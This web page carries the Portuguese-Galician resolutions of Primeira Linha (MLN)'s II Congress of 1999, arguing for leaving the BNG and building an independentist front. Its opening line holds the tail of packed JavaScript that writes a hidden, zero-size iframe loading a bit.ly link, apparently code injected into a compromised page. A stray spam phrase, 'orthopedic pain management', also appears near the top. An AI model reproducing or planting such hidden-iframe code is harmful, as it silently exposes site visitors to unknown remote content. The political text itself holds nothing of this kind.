\');',15,15,'|iframe|document|write|src|http|bit|ly|2b4mWbk|border|width|height|style|visibility|hidden'.split('|'),0,{}))" lang=ES style='tab-interval:35.4pt' bgcolor="#FFFFFF">

Pola Unidade da Esquerda Independentista

Resoluçons do II Congresso de Primeira Linha

Abrente Editora

Compostela, Junho de 1999

orthopedic pain management

ÍNDICE

 

1.- TESE POLÍTICA

1.1.- Pola Unidade da esquerda independentista

1.2.- Porque nom tem sentido continuarmos no BNG

1.3.- Pola criaçom dumha Frente Independentista

 

2.- TESE ORGANIZATIVA

 

   

RESOLUÇONS DO II CONGRESSO DE PRIMEIRA LINHA (MLN)

 

1- TESE POLÍTICA

 

1.1. POLA UNIDADE DA ESQUERDA INDEPENDENTISTA

 

Os debates e análises sobre os que se alicerçou a criaçom de Primeira Linha (MLN) a inícios de 1996 e a posterior fundaçom do  Partido no mês de Maio desse ano, partiam da necessidade de organizar o independentismo culminando a aliança ideológica que representava o BNG, como organizaçom frentista que aglutinava a maioria das forças da esquerda nacionalista operantes no país. Consideravamos que na actual fase histórica do processo de libertaçom nacional, este devia -e deve- adoptar o modelo frentista, em que baixo um programa de mínimos convivam as diferentes correntes organizadas, converja o pluralismo ideológico da esquerda nacionalista.

A base popular do movimento, um programa antiimperialista, e umha ideologia de esquerda, eram os eixos essenciais que provocavam a presença d@s independentistas de prática comunista no interior do BNG.  Desde o nosso manifesto fundacional, publicado no Dia da Pátria de 1996, deixamos clara a nossa preocupaçom pola prática presente e a orientaçom futura do nacionalismo galego estruturado na Frente Patriótica. Afirmávamos claramente, sem nengum tipo de ambigüidades que a paulatina desatençom que o BNG está a prestar à organizaçom e mobilizaçom do nosso povo como pedra angular de qualquer projecto transformador, a excessiva energia destinada à actividade institucional e ao papel jogado polos processos eleitorais, a consolidaçom dessa cultura da "gestom" e governabilidade como máxima aspiraçom, a permissividade coa média social e a legitimidade burguesa, a desideologizaçom da nova militáncia, a moderaçom nas formas e o pragmatismo nos objectivos, som muito mais que sintomas dumha situaçom, é o lamentável diagnóstico dos novos ares que sopram no interior da Frente, cos quais nom só nom coincidimos, senom que nos causam um fundo malestar. Apesar da lucidez da análise, considerávamos necessário impulsionar um projecto comunista de libertaçom nacional no seu interior, porque embora as dificuldades fossem múltiplas, pensávamos que o pluralismo frentista nos permitiria articular a corrente.

Nom devemos desconsiderar que no BNG nom estava vertebrado o campo da esquerda revolucionária independentista de matriz marxista-leninista, e apesar da ritual definiçom comunista que a UPG mantinha por pura inércia do passado, este partido tinha renunciado  -no campo da teoria e pola sua claudicante prática social-democrata-  aos ideais emancipadores do pensamento revolucionário de Marx e Lénine. Nom existia nengumha corrente interna que assumisse conseqüentemente e na sua globalidade a ideologia dos novos movimentos sociais.

Era peremptório, pois, pôr em movimento um projecto político que conjugasse de jeito original e criativo o independentismo, o comunismo e o pensamento alternativo do feminismo, ecologismo e antimilitarismo.

Quando no 1º de Maio, de há pouco mais de três anos, se funda Primeira Linha (Movimento de Libertaçom Nacional) eramos conscientes das imensas dificuldades e obstáculos que teríamos que superar para que a nossa andaina frutificasse. Sabíamos que sofreríamos nos primeiros momentos indiferença, e que esta se transformaria em críticas e ataques destrutivos que se incrementariam de forma paralela ao nosso crescimento organizativo, maduraçom política e capacidade de intervençom social.

Após as primeiras semanas da nossa apresentaçom pública, em que fomos alcumados com todo o tipo de qualificativos e sofremos umha intensa campanha de injúrias e calúnias em que coincidírom o estalinismo enquistado no aparelho do BNG, com sectores do independentismo alheio a esta formaçom, a nossa existência foi mais tranquila. As causas desta situaçom vinham motivadas pola escassa incidência política no BNG, polas falsas coincidências co reformismo no movimento estudantil, pola ausência dumha linha definida de actuaçom em Galiza Nova. Mas à medida que começamos a dar sinais de vida e desenvolvendo-nos, à medida que nos fomos dotando de linha política nos movimentos sociais e no BNG, a medida que nos fomos posicionando e portanto afastando-nos da prática reformista da UPG, enfrentando-nos a ela, começou a reagir violentamente.

Devemos destacar vários pontos de inflexom que contribuírom a  perfilar esta situaçom:

1- Os sucessos acontecidos no interior da delegaçom galega que acudiu ao XIV Festival Mundial da Juventude e @s Estudantes celebrado em Havana no verao de 1997, provocárom as primeiras purgas do estalinismo contra o Partido e a ruptura das regras de jogo no interior de Galiza Nova.

2- Os primeiros passos da aliança táctica com Esquerda Nacionalista e o posterior acordo susbcrito na comarca de Compostela em Novembro de 1997, se bem facilitarom a nossa intervençom e criárom expectativas de melhoria na nossa integraçom no BNG a nível nacional,  acelerárom o cerco da UPG.

3- O cámbio de táctica impulsionada, a partir de Janeiro de 1998, no interior dos CAF, sentando as bases para a criaçom dumha corrente de opiniom com projecto próprio supujo a encenaçom dumha linha política de enfrentamento aberto coa UMG.

4- A apresentaçom de umha candidatura alternativa com independentes e sectores de EN à VI Assembleia Nacional de Galiza Nova de Abril de 1998 , saldada com um genuíno pucheiraço ao mais puro estilo bananeiro.

A partir deste momento nom nos dérom trégua. As dificuldades e reticências que provocava a nossa existência convertéron-se numha enfermiça obsessom para o conjunto da direcçom do BNG que -salvo contadas excepçons,- se marcou como objectivo a nossa expulsom. Constantes conflitos comarcais ou nacionais, que nom cumpre detalhar, venhem definindo a nossa andaina no interior do BNG.

Os graves sucessos do I Congresso (Dezembro de 1998) e os vencelhados às III Jornadas Independentistas Galegas (Março 1999), em que a Permanente do BNG tenta, com diferentes graus e métodos de confrontaçom, provocar a nossa expulsom, gerando um ambiente externo e interno de criminalizaçom do Partido, agudizam um ambiente irrespirável que impossibilita a nossa continuidade no interior do BNG com umhas mínimas garantias de contarmos com oxigénio político.

Paralelamente, a incomodidade que certos sectores da militáncia tenhem manifestado  para trabalhar no BNG, foi-se convertendo numha asfixiante obrigaçom a cumprir por pura disciplina partidária.

Se à fractura  entre o Partido e a direcçom do Bloco acrescentarmos a agudizaçom da prática claudicante que o BNG vem manifestando nos últimos meses, e que terá umha evidente plasmaçom concreta e imediata na gestom municipal que realize nos grandes concelhos governados a partir do 13 de Junho, o diagnóstico nom dá lugar a mais possibilidades, nom permite mais saídas, que iniciarmos umha nova jeira de construçom do independentismo fora do Bloco.

Primeira Linha (MLN) abandona o BNG porque nom tem espaço no seu interior, porque a sua direcçom nom deseja, nem permite a nossa continuidade, porque a nossa presença no seu seio já nom tem sentido, nem possibilidade para sentar umhas bases sólidas que permitam construir um movimento independentista de massas.

A anorexia ideológica que sofre a direcçom do BNG, a beligeráncia enfermiça com que combate sistematicamente as teses independentistas, a auséncia real de democracia e pluralidade, de debate ideológico, impedem que o projecto comunista de libertaçom nacional representado por Primeira Linha (MLN), poda continuar no seu interior.

Nós nom nos arrependemos de nada por tentar construirmos um referente independentista no interior do Bloco, nom valorizamos como um fracasso político de Primeira Linha (MLN) ensaiar a via de organizaçom do independentismo do interior dum amplo movimento nacionalista de massas. Logramos demonstrar que o BNG nom é realmente democrático, nem respeita a pluralidade ideológica sempre que esta for de esquerdas e independentista. Paradoxalmente, contrário ao aprovado na Assembleia de Ourense, em que se abandonam os postulados históricos do modelo federal pola confederaçom, o poliedro nom permite o desenvolvimento da sua expressom mais elaborada: o independentismo.

Ninguém nos pode demonstrar as falsas acusaçons de boicotagem às decisons assembleares, pois sempre praticamos um escrupuloso respeito a umhas regras de jogo que nos vinhérom determinadas, mas que nom compartilhávamos, sempre mantivemos lealdade ao imperfeito Projecto Comum, combinando a elasticidade com umha firme política comunista e independentista, que tentou manter aceso o facho da rebeldia e a resistência contra a hegemonia da lógica do autonomismo pequeno-burguês. 

Se bem o balanço global destes quase três anos de construçom do germe do partido comunista galego nom se pode valorizar como plenamente satisfatório, tampouco há que que definí-lo como negativo, nem muito menos como um fracasso.

Logramos converter-nos num referente no interior do Nacionalismo. Desde Dezembro do ano passado conseguimos emergir do anonimato situando-nos conjunturalmente no referente público do independentismo. Contamos com umha breve, mas intensa trajectória de luita e combate lavrada em três anos de elaboraçom teórica, agitaçom e intervençom social, capacidade de direcçom política, compromisso e sacrifício militante.

Mas nom fomos capazes de construir umha corrente independentista no seio do BNG, e muito menos incidir na sua linha política. Nom consideramos rigoroso afirmar que pecamos de ingenuidade, nem que a audácia e o entusiasmo revolucionário lograria superar os muros e ameias da crua realidade dum movimento nacionalista institucionalizado e eleitoralista.

A nossa debilidade organizativa tivo que destinar ingentes recursos a combater a beligeráncia do reformismo, impossibilitando a intervençom política real, distorcindo o nosso perfil ideológico e político, freando a elaboraçom de alternativas tácticas sectoriais. Estivemos submetidos a umha prática defensiva que dificultou e mesmo impediu realizar trabalho político real, acumular forças entre as simpatias que o Partido gera em sectores da base social nacionalista.

Esta situaçom resistencialista podia chegar a provocar o colapso do projecto ao gerar descontentamento e frustraçom interna,  e perfilar -por exclusivos factores exógenos- umha prática afastada dos objectivos marcados no I Congresso, que nos resituaria no mero testemunhalismo inicial.

Em três anos passamos do indiferença que provoca o anonimato, a converter-nos no inimigo interno a destruir que, paradoxalmente, também contribui a coesionar a sua estrutura de poder e dominaçom.

O Partido nom foi capaz de organizar o amplo descontentamento interno do BNG, nom logramos canalizar com êxito o malestar latente de sectores da filiaçom. Umha militáncia acomodada, um discurso pragmático e claudicante, a ausência de democracia real e horizontalidade na toma de decisons, a ocultaçom e manipulaçom das nossas teses e objectivos políticos, provoca que no seio do BNG nom tenhamos a mais mínima possibilidade de achegar-nos ao perfil da gente da qual se está hoje nutrindo: desideologizada, descomprometida, oportunista. Se a isto acrescentarmos o panorama da sua patológica organizaçom juvenil, em que, tal como analisamos no I Congresso, nom existem as mínimas garantias de democracia e pluralismo interno e,  o combate ao Partido por parte da burocracia reaccionária enquistada nos seus organismos de direcçom, alcança esperpênticas quotas da paranoia totalitária, a clarificaçom da realidade nom deixa muitas alternativas.

Ainda que, polo bem da Naçom e do Povo Trabalhador, sempre mantivemos umha inteligente prudência com vistas a demonstrar a nossa capacidade de conviver com sectores ideológicos tam afastados dos nossos objectivos e preocupçons, o Partido nunca tivo, nem tem a inteçom de renunciar aos seus princípios ideológicos, nem está disposto a introduzir modificaçons camaleónicas na sua linha política táctica e estratégica, que fagam mais digerível aos dirigentes do BNG a nossa continuidade no seu interior.

Primeira Linha (MLN) nom vai claudicar para lograr o reconhecimento do sanedrim e permanecer comodamente no Bloco. Desde o nosso nascimento deixamos claro que considerávamos necessário, na actual conjuntura histórica, a unidade do conjunto do nacionalismo, que a nossa presença no Bloco nom vinha determinada por oportunismos nem pola protecçom que proporcionariam as suas siglas. 

Em Dezembro, coa celebraçom do I Congresso, demonstramos madurez e elasticidade política como para lograr que a campanha da UPG contra o Partido, em que usárom as mesmas acusaçons e tácticas que a direita espanhola utiliza contra o Bloco, fracassasse, tal como solicitárom na Permanente de 14 de Dezembro. Mas criárom-se as condiçons objectivas para efectivizar mais cedo que tarde a nossa expulsom. E emergiu com força o que já estava constatado na prática diária, madureceu a evoluçom lógica dumha força revolucionária no interior dum movimento reformista: a impossibilidade de conviver coas mínimas garantias de respeito mútuo.

Estes factores provocam que seja necessário dar um giro no leme para afastar o barco da deriva.

A tentativa de construir umha corrente independentista no interior do BNG está esgotada.

 

Voltar ao índice

 

1.2. PORQUE NOM TEM SENTIDO CONTINUARMOS NO BNG

 

1- O projecto revolucionário que representamos nom encaixa na estratégia do BNG, é antagónico, e só lhe supomos um constante lastro do qual necessita desprender-se. Se bem até há uns meses era a UPG quem defendia em solitário a nossa expulsom, agora tenhem-se somado activamente as suas comparsas: o camilismo, o restrobalho espanholista, e “persoeiros” do velho PSG.

Mas haveria que perguntar-se porque o germe dum projecto comunista e independentista, com um modesto desenvolvimento organizativo e escassos recursos económicos e materiais, provoca tantos sobressaltos e nervosismo no interior da direcçom dumha força política consolidada como o Bloco de hoje em dia.

Som basicamente duas as causas em que se pode achar umha resposta satisfatória.

A) Em primeiro lugar, porque disputamos ao reformismo a direcçom futura do movimento juvenil patriótico. A sua actual hegemonia no BNG apoia-se no férreo controlo que exerce sobre Galiza Nova, fornecendo a massa de manobra que lhe permite contar com umha folgada, submissa e disciplinada maioria entre a filiaçom que participa activamente na anémica vida interna.

Este sabe, ao igual que nós, que é a mocidade galega a única garantia de êxito do MLNG. Que a capacidade crítica e rebelde da mocidade pode provocar o fracasso das suas teses liquidacionistas, ou polo menos obstaculizar a estratégia que pretende imprimir ao conjunto do movimento. Que as novas geraçons som as que construirám e nutrirám o movimento independentista de massas, bloqueando o avanço do reformismo.

B) A UPG pretende o reconhecimento pleno dos poderes fácticos. Necessita demonstrar ao capital, aos meios de comunicaçom, à burguesia, que tem abandonado completamente a natureza revolucionária originária, que tem renunciado à transformaçom do sistema. Que é um partido responsável que actua dentro do quadro jurídico-político. Coa sua ênfase em caluniar-nos, marginalizar-nos, provocar a nossa expulsom, demonstra que, apesar da distorcida imagem e má imprensa que ainda continua tendo, e frente à permissividade de EN co "radicalismo", já nom está disposta a permitir ou tolerar um BNG onde existam emergentes correntes organizadas anti-sistema.

2- É inviável construirmos o Partido no seu interior. Nom podemos continuar com umha praxe caracterizada por umha política de supervivência. É suicida investirmos a maioria das nossas forças e recursos numha prática defensiva que nos impede intervir politicamente e nos absorve em batalhas estéreis em que nada temos que ganhar e si muito que perder. Chegamos a essa preocupante fase na qual nos auto-censuramos e evitamos qüestons delicadas ou polémicas, fugindo do debate e renunciando a defender publicamente a nossa identidade. Apesar de no I Congresso decidirmos estacionar o reconhecimento partidário,já temos interiorizado a impossibilidade de lográ-lo.

O Partido acha-se bloqueado organizativamente. Nom consegue o incremento quantitativo e qualitativo desejável e imprescindível para avançarmos no processo de construçom do movimento independentista. Há  sectores expectantes dispostos a integrar-se em Primeira Linha (MLN) após a encenaçom da nossa ruptura co BNG.

3- Um sector importante do Partido  -quantitativo e qualitativo-  está incómodo no Bloco. Manifesta cada dia mais abertamente a sua indisponibilidade e resistência para intervir no seu interior. Tem asumido a provisoriedade da nossa actual situaçom. Nom podemos obviar que as relçons humanas entre a militáncia do Partido e sectores oficialistas do BNG, estám mui deterioradas nalgumhas localidades, comarcas e sectores, imposibilitando pontes de convivência que suavizem os enfrentamentos políticos.

4- A tentativa de resistirmos mediante umha aliança táctica com Esquerda Nacionalista, força teoricamente mais moderada que a UPG, mas com umha impronta e umha cultura política mais democrática e respeitosa coa pluralidade ideológica, fracassou na sua globalidade. Se bem nalgumhas comarcas e sectores os acordos fôrom satisfatórios, a nível nacional nom se cumprírom as expectativas acordadas. EN, pressionada por umha parte da sua militáncia, criticada e acossada polo estalinismo, achava-se numha delicada situaçom para manter e aprofundar numha aliaça tam incómoda e difícil de explicar, como necessária para manter a hegemonia nalgumha comarca e sobrevivência nalgum sector. Calculárom que poderiam usar-nos como ponta de lança, como unidade de choque, frente ao estalinismo, sem nengum tipo de contrapartidas. Mas, o êxito dum acordo político nom pode fundamentar-se na assimetria e nos desequilíbrios.

EN nom tivo coragem suficiente, nem estava interessada em manter o pulso no interior do BNG que permitisse o nosso reconhecimento de facto como corrente integrada. Os receios políticos e as desconfianças ideológicas prevalecêrom sobre a análise dialéctica dumha realidade adversa, em que desde a divergência e impermeável aos conflitos conjunturais, combatessemos conjuntamente os métodos e as orientaçons do reformismo totalitário. Sem o éxito dumha aliança táctica com EN seria inviável a nossa continuidade num BNG em acelerados processos demudanças.

Ora bem, a nossa saída do BNG e início dumha nova fase, nom significa racharmos as satisfatórias relaçons políticas que devemos continuar mantendo com EN naquelas organizaçons de massas em que continuaremos trabalhando e coincidindo.

5- Embora nom sofrêssemos um estrangulamento político polo aparelho do BNG, o êxito das mudanças estratégicas que o estalinismo está imprimindo no movimento nacionalista fariam inviável a meio prazo a nossa continuidade nesse projecto.

A UPG, em colaboraçom co camilismo e outros sectores do BNG, pretende modificar susbtancialmente o modelo organizativo e orientaçom estratégica do nacionalismo. Em primeiro lugar procura-se substituir o pluralismo frentista por um tipo de organizaçom convencional semelhante aos partidos políticos clássicos. Esta unidade orgánica provocaria a desapariçom dos partidos e correntes integradas e reconhecidas actualmente no BNG, nom permitiria a livre expressom e a discrepáncia pública. Converterá o BNG num partido tradicional. É óbvio que para o revisionismo nom tem sentido manter umha dupla estrutura: a UPG e o BNG, quando o discurso é idêntico.

A UPG pode caminhar a converter-se numha mera sigla histórica, um grupo de pressom alicerçado em referentes pessoais e um passado mitificado que realize um congresso ou junta geral de accionistas, e edite umha revista.

Abandonada a funçom leninista de vanguarda dirigente por lobby dirigista, a UPG pretende, porque lhe é mais eficaz e simples, enquistar-se ainda mais no emergente aparelho interno e institucional do BNG, mediante a criaçom dumha rede clientelar, para poder perpetuar a sua dominaçom. Nesta operaçom conta con dous sócios: por umha banda, a debilitada Unidade Galega e um Camilo Nogueira por livre, que mantenhem as suas teses históricas contrárias ao frentismo, e pola outra, o testemunhalismo espanholista que ante a impossibilidade de manter um projecto fracassado, opta por prostituir-se à burocracia reformista para garantir os privilégios dos seus dirigentes.

Os debates da VIII Assembleia Nacional do BNG, celebrada em Junho de 1998 em Ourense, a respeito do seu futuro som esclarecedores desta estratégia. A derrota das posiçons defendidas polo Partido e EN plasmárom-se na aprovaçom duns textos oficiais onde se recolhe que a permanência unitária do BNG vai ainda mais alá, tendo a vontade de governar umha Galiza já soberana.

A UPG e o conjunto da direcçom do BNG estám obsessionados com gerir o governo autonómico. Tenhem substituído os objectivos estratégicos de autodeterminaçom e transformaçom social, por meros objectivos tácticos, renunciando ao papel pedagógico de massas que corresponderia a umha força de esquerda.

O seu aburguesamento e populismo, adubiado de ambigüidade ideológica, aposta pola exclusivista via eleitoral, abandonando definitivamente as tarefas fulcrais que permitam poder construir umha base social nitidamente nacionalista e de esquerdas: a organizaçom e mobilizaçom popular.

Estám dispostos a renunciar a todo o que for necessário para conseguirem aceder às conselharias de Sam Caetano. Inclusive à defesa do monolingüismo social, um dos principais sinais de identidade do nacionalismo galego. O BNG, como força catch-all dirigida polo núcleo histórico do residualismo estalinista, eufórico polos contínuos éxitos eleitorais, já nom pode ser transformado do seu interior. A sua fragilidade, como projecto unitário da esquerda nacionalista, está ligada ao papel coesionador da figura de José Manuel Beiras. Umha vez que o seu liderato desapareça, o BNG, ao igual que o PP, verá-se envolvido em profundas convulsons internas que provocarám irremediavelmente a sua ruptura.

A sua adulteraçom ideológica já nom tem volta de folha. Mas o realmente preocupante é que para lograr estes objectivos necessita modificar o modelo organizativo do conjunto do nacionalismo. Para o seu êxito necessita, entre vários factores, um grau de acordo o mais amplo possível dentro das cúpulas do movimento. Isto significa que tem que esmagar a dissidência e o pluralismo do conjunto dos organismos do Movimento Nacionalista, para criar um cenário em que o BNG, em coaligaçom co PSOE, governe a Junta sem nengum foco -com entidade suficiente- de oposiçom nacionalista, que questione o seu papel de mero gestor da autonomia delegada polo colonialismo. Os problemas co Sindicato Labrego Galego, com ADEGA, coa ANÁ-ANOC, no movimento estudantil, a cissom na CIG, etc, estám relacionados co projecto em marcha, som os primeiros sintomas desta estratégia. Para alcançar o seu êxito nom se repara nos métodos a utilizar, -desde a expulsom e afogamento das vozes críticas, passando por práticas clientelares ou mafiosas-, nem nos gravíssimos danos que podam sofrer os diferentes organismos do movimento patriótico.

Embora os acontecimentos e as linhas políticas apontem nesta direcçom, nom podemos desconsiderar as dificuldades endógenas que esta operaçom implica, o qual provoca umha ralentizaçom do projecto em via de ser digerida e assumida polas diferentes sectores internos da UPG. Nesta orde de cousas há que destacar os conflitos intestinos em que está sumida a UPG, em que as desmedidas ambiçons políticas dos seus cachorros som utilizadas por alguns dirigentes para enfrentar-se a determinadas fracçons numha simples luita de poder, disfarçada de combate ideológico ou "luita de classes" pola paranoica e obsoleta retórica do totalitarismo umegalho.

6- Se bem o BNG, na teoria, tal como recolhemos nas análises realizadas no I Congresso, nom tem renunciado expressamente aos princípios básicos dum projecto rupturista, na sua prática diária, na sua intervençom quotidiana, som evidentes os signos de abandono, som palpáveis as incomodidades que geram à sua direcçom e sectores da sua militáncia, aquelas partes do seu programa antiimperialista herdado da Transiçom sem nengum tipo de modificaçons.

A normalizaçom das suas relaçons coa monarquia fórom encenadas nos últimos meses durante a visita do filho dos Borbons à Galiza. As mudanças operadas respeito à Uniom Europeia som tangíveis no programa eleitoral. A coqueteia cos poderes empresariais, financeiros, mediáticos, militares, etc som evidentes. A política de alianças co PNV e co CiU corroboram o aggiornamento e catalizçom da integraçom do BNG no quadro jurídico-institucional emanado da II Restauraçom borbónica.

Ante esta situaçom cabem três opçons:

 

1- Esperar a que nos expulsem do BNG.

2- Acelerar a nossa saída provocando umha detonaçom interna que na prática seja a antessala da expulsom.

3- Abandonarmos voluntariamente o BNG.

 

Sem lugar a dúvida a primeira opçom seria a mais beneficiosa pois ajudaria a agudizar as contradiçons internas, facilitando a justificaçom da nossa estratégia frente à manipulaçom e demagogia que vam utilizar contra nós, mas ante o diagnóstico realizado e polas seis razons expostas, seria um suicídio político prolongar a situçom actual de desgaste do Partido e incapacidade de actuaçom. Nom temos dados fi veis que nos determinem como e quando pensam encenar a expulsom. Devemos ser nós quem definamos a linha política do Partido, esta nom pode vir determinada por ritmos marcados do exterior. 

A segunda possibilidade nom tem garantias de êxito porque pode dilatar-se e enrocar-se, convertendo-se num perigoso boomerang.

Inclinamo-nos pola terceira opçom, ainda que a simples vista semelhe a pior de todas. Apesar das incompreensons que a nossa decisom pode implicar, pois somos conscientes de que nos adiantamos ligeiramente a umha conjuntura política  -formaçom de governos municipais baixo a hegemonia nacionalista nalgumhas das grandes cidades-  que agudizará as contradiçons latentes no interior do BNG, acelerando o distanciamento de umha parte da sua base social mais de esquerdas e nacionalista coa orientaçom marcada pola Permanente, esta opçom teria outra vantagem, acabar coa possível acusaçom de oportunismo político que poderia vir de alguns sectores independentistas organizados fora do Bloco Nacionalista Galego.

Esta trascendente e histórica decisom, cuja oportunidade vem motivada pola impossibilidade de agir e compartilhar projecto co reformismo autonomista, deve ser adoptada por consenso, ou por umha clara maioria da militáncia de Primeira Linha (MLN), após um debate sereno e dilatado no qual nom se veja danada a unidade da organizaçom e se refrende a decisom adoptada unanimamente polo Comité Central de 10 de Abril de 1999.

O II Congresso de Primeira Linha (Movimento de Libertaçom Nacional) acorda que o projecto comunista de libertaçom nacional que representamos abandone o Bloco Nacionalista Galego e sente as bases para a criaçom dumha Frente política onde coincidirmos todas as correntes da esquerda independentista actuantes no país.

 

Voltar ao índice

 

1.3.  POLA CRIAÇOM DUMHA FRENTE INDEPENDENTISTA

 

Se bem, tal como adiantamos, a nossa saída do BNG nom deve levar-nos a rachar as pontes e as relaçons lavradas com sectores frentistas nestes anos, o Partido deve jogar um papel activo na reunificaçom estratégica do independentismo.

A viabilidade da esquerda independentista está ligada insoslaiavelmente à reunificaom das correntes que convivem no seu seio, na criaçom dumha plataforma unitária de massas baseada no pluralismo e num programa de mínimos.

Antes de dar passos em firme é necessário construir um cenário caracterizado por um clima de cordialidade e comunicaçom que permita espaços comuns de colaboraçom e trabalho eliminando a confrontaçom característica do passado.

Nos últimos meses, seguindo mandatos do I Congresso do MLN, mantivemos contactos e conversas com algumhas das organizaçons do fragmentado e dividido Movimento Independentista Galego (MIG) para alcançarmos três objectivos imediatos:

 

              1- Acabar coas desconfiaças mútuas.

              2- Acadar um compromisso de nom agressom.

              3- Possibilitar fórmulas e espaços comuns de colaboraçom e trabalho.

 

Ante uns acontecimentos vertiginosos, estes objectivos ficárom rapidamente superados, e as conversas mantidas coa AMI e outras organizaçons acelerárom o processo de debate e trabalho em comum.

Nom é objectivo deste Congresso adiantar artificialmente um processo, definindo claramente quais som as bases ideológico-políticas e a posterior estratégia sobre a que assentar o futuro do movimento, mas cumpre enumerarmos os que deveriam ser protagonistas do mesmo.

Hoje o MIG conta com tres correntes:

 

              A- Primeira Linha (MLN)

              B- AMI/EI/MNG/CAR/JUGA

              C- FPG/CUT

 

O processo de unificaçom vai ser complicado e carregado de dificuldades derivadas de inércias, enfrentamentos pessoais, desconfianças mútuas, competitividades e rivalidades pola sua direcçom e hegemonia.

O Partido deve jogar um papel activo na direcçom do processo, mas para isto tem que buscar pontes de colaboraçom e convergência imediatos, abrindo-se a todas aquelas mulheres e homes que simpatizam co nosso projecto, mas que nom podiam assumir a nossa pertença ao BNG.

Primeira Linha (MLN) sempre se caracterizou pola sua audácia. Agora chegou o momento de demonstrarmos que somos capaces de superar as adversidades e iniciarmos umha nova fase em que os problemas e os obstáculos, se bem possuem natureza distinta, nom som inferiores aos que já tínhamos no interior do BNG.

Se bem consideramos que o Partido nunca deve desaparecer, nem disolver-se ou diluir-se numha estrutura de massas, porque os seus objectivos revolucionários vam mais alá do de qualquer organizaçom dessas características, também achamos necessário incorporar militantes e experiências diferentes às do nosso passado mais imediato.

A capacidade de aproximar-se aos sectores marxistas-leninistas, que podem considerar-nos um certo referente, co objectivo de alimentar-se dumha geraçom de militantes comunistas e independentistas alheios à nossa trajectória, mas imprescindíveis para construirmos essa organizaçom de vanguarda com prestígio e capacidade de liderato, deve ser umha tarefa paralela à unidade do independentismo.

Por umha maior proximidade geracional, por umha maior sintonia na matriz cultural e na acçom política, pola inexistência de enfrentamentos pessoais e feridas do passado, as coincidências entre o Partido e a corrente B som mui superiores às que podem existir entre C com A ou C com B.

Isto significa que o processo deve seguir três ritmos ou fases.

     1º- A+B

     2º- AB+C

     3º- ABC arrastará todo esse sector de militantes desorganizad@s politicamente, mas activ@s no movimento sindical, cultural, etc, e tentará recolher sectores desencantados do BNG.

O êxito do processo nom está assegurado de antemao. Culminar esta operaçom pode demorar anos. Os prazos devem ser dilatados. A reconstruçom do MIG só pode ser viável desde a pluralidade ideológica e a unidade organizativa dumha Frente Independentista. Sentarmos as bases para acadar este objectivo, deve ser a tarefa prioritária de Primeira Linha (MLN) até o seu III Congresso.

Nom podemos, nem devemos desconsiderar os imensos problemas e obstáculos desta aposta.

O MIG conta com grandes eivas no seu interior. Com umhas reduzidas cifras de activistas, as fracturas e os conflitos do passado continuam latejando entre umha parte da militáncia, a mocidade dos sectores maioritários e mais activos do mesmo, se bem asseguram a sua continuidade imediata, implica inexperiência e ausência de madurez política. É um movimento carregado de tics esquerdistas, em que a cultura do maximalismo vai ser mui difícil de desterrar. O reintegracionismo, se bem unifica umha boa parte do movimento, também cria umha divisom radical no seu seio.

Há divergências tácticas e estratégicas entre A e B, agravadas entre AB e C que nom se podem solventar ou minimizar num processo acelerado.

A Frente Independentista a criar deve ser o resultado de extensos e pacientes debates, de rigorosas e sérias análises, de múltiplos contributos e consultas, deve ser produto de anos de generosa dedicaçom e trabalho, em que a precipitaçom, o espontaneísmo, as tentaçons do ideologismo estratégico, nom marquem o ritmos do processo, em que o sectarismo e a marginalizaçom sejam ocupadas pola inteligência e a introduçom social.

 

Voltar ao índice

 

2- TESE ORGANIZATIVA

 

O II Congresso de Primeira Linha (Movimento de Libertaçom Nacional) acorda modificar os Estatutos em vigor no referente à supressom do artigo 3º.

 

Voltar ao índice